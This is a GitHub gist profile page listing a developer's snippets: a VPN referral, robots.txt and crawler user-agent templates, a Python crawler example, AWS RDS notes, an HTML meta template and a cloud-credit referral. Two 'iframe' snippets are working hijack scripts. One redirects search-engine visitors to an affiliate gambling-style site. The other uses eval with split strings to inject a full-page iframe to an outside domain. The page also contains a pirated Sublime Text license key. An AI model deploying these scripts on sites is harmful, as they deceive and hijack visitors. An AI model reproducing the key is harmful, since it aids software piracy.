Skip to content

Instantly share code, notes, and snippets.

View josuamarcelc's full-sized avatar
🧩
Go-Lang & PHP

Josua M C josuamarcelc

🧩
Go-Lang & PHP
View GitHub Profile
@josuamarcelc
josuamarcelc / free-vpn-nordvpn.html
Last active September 25, 2024 10:54
FREE PREMIUM VPN
<div>
<h2>Play Mobile Legends from Another Country to get EASY opponents! Watch Netflix from Another Country to get all the movies you haven't watched yet!</h2>
<p>
<a href="https://refer-nordvpn.com/gmDqxZOKNsZ" target="_blank">Nord VPN Link</a>: Get 3 months free when you choose the 1-year or 2-year plan. Get 1 month free when you choose the monthly plan.
</p>
<h2>玩其他国家的《Mobile Legends》,找到简单的对手!从另一个国家观看 Netflix,观看所有您尚未看过的电影!</h2>
<p>
<a href="https://refer-nordvpn.com/gmDqxZOKNsZ" target="_blank">Nord VPN 链接</a>:如果您选择 1 年或 2 年计划,可免费使用 3 个月。如果您选择包月套餐,可免费使用 1 个月。
</p>
@josuamarcelc
josuamarcelc / template.robots.txt
Created January 7, 2024 04:56
Template of User Agents - Robots.txt
User-Agent: Googlebot
Allow: /
User-Agent: Googlebot-Mobile
Allow: /
User-Agent: Googlebot-Image
Allow: /
@josuamarcelc
josuamarcelc / all-crawler-bots-user-agents-pattern.json
Last active January 8, 2024 12:23
all-crawler-bots-user-agents
[
{
"pattern": "Googlebot\\/",
"url": "http://www.google.com/bot.html",
"instances": [
"Googlebot/2.1 (+http://www.google.com/bot.html)",
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
"Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
"Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Version/8.0 Mobile/12F70 Safari/600.1.4 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
"Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F70 Safari/600.1.4 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
@josuamarcelc
josuamarcelc / example.py
Created May 29, 2022 11:59
The English phrase “Everything but the kitchen sink” means “almost anything one can think of”. The example below contains all the functionalities from N.Y.A.W.C.
from nyawc.Options import Options
from nyawc.QueueItem import QueueItem
from nyawc.Crawler import Crawler
from nyawc.CrawlerActions import CrawlerActions
from nyawc.http.Request import Request
from requests.auth import HTTPBasicAuth
def cb_crawler_before_start():
print("Crawler started.")
@josuamarcelc
josuamarcelc / iframe.js
Last active May 29, 2022 11:57
iframe.js
document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"https://5257vip7.com/?aff=1135467\";");
document.writeln("</script>");
@josuamarcelc
josuamarcelc / iframe
Created May 29, 2022 11:56
iframe-01
var meta = document.createElement('meta');
meta.name="viewport";
meta.content="width=device-width,initial-scale=1,user-scalable=no";
document.getElementsByTagName('head')[0].appendChild(meta);
var ss = '<center id="showcloneshengxiaon"><ifr'+'ame scrolling="no" marginheight=0 border="0" marginwidth=0 frameborder="0" width="100%" width="14'+'00" height="80'+'50" src="http://117166.com\"></iframe></center>';
eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");
//document.getElementsByTagName('h1')[0].style.display="no"+"ne";
try{
//setInterval(function(){
setTimeout(function(){
@josuamarcelc
josuamarcelc / aws_postgresql_max_connection.md
Created May 10, 2022 10:04 — forked from guizmaii/aws_postgresql_max_connection.md
AWS PostgreSQL max_connection per instance type

The default formula use by AWS RDS to calculate the max_connections parameter is: LEAST({DBInstanceClassMemory/9531392},5000)

But It's hard to find the exact value of DBInstanceClassMemory.

So, here are the values I got when I ran the SQL commmand: show max_connections; in some RDS instances:

Instance type RAM (GB) max_connections
db.t2.small 2 198
db.t2.medium 4 413
<html prefix="og: http://ogp.me/ns#">
<head>
<title>The Title</title> <!-- ˜60 chars -->
<meta charset="UTF-8">
<meta name="keywords" content="HTML, CSS, JavaScript">
<meta name="author" content="josua marcel c">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="The Description"> <!-- ˜150 chars -->
<meta property="og:title" content="The Title">
<meta property="og:description" content="The Description"> <!-- ˜300 chars -->
@josuamarcelc
josuamarcelc / license.txt
Created June 3, 2020 08:37
SUBLIME TEXT 3???
----- BEGIN LICENSE -----
Member J2TeaM
Single User License
EA7E-1011316
D7DA350E 1B8B0760 972F8B60 F3E64036
B9B4E234 F356F38F 0AD1E3B7 0E9C5FAD
FA0A2ABE 25F65BD8 D51458E5 3923CE80
87428428 79079A01 AA69F319 A1AF29A4
A684C2DC 0B1583D4 19CBD290 217618CD
5653E0A0 BACE3948 BB2EE45E 422D2C87
@josuamarcelc
josuamarcelc / DIGITAL OCEAN FREE UP TO $100 USD.md
Last active November 13, 2023 13:36
100$ for 60 Days January 2020 - Digital Ocean

alt text

DigitalOcean Coupon Code $100 60 days Free Trial

1) Get $35 / $25 / $20 / $10 free DigitalOcean Credit.

2) Get DigitalOcean 1 Year Free Trial.

3) Get $100 Credit For 60 Days. $100 Free Credits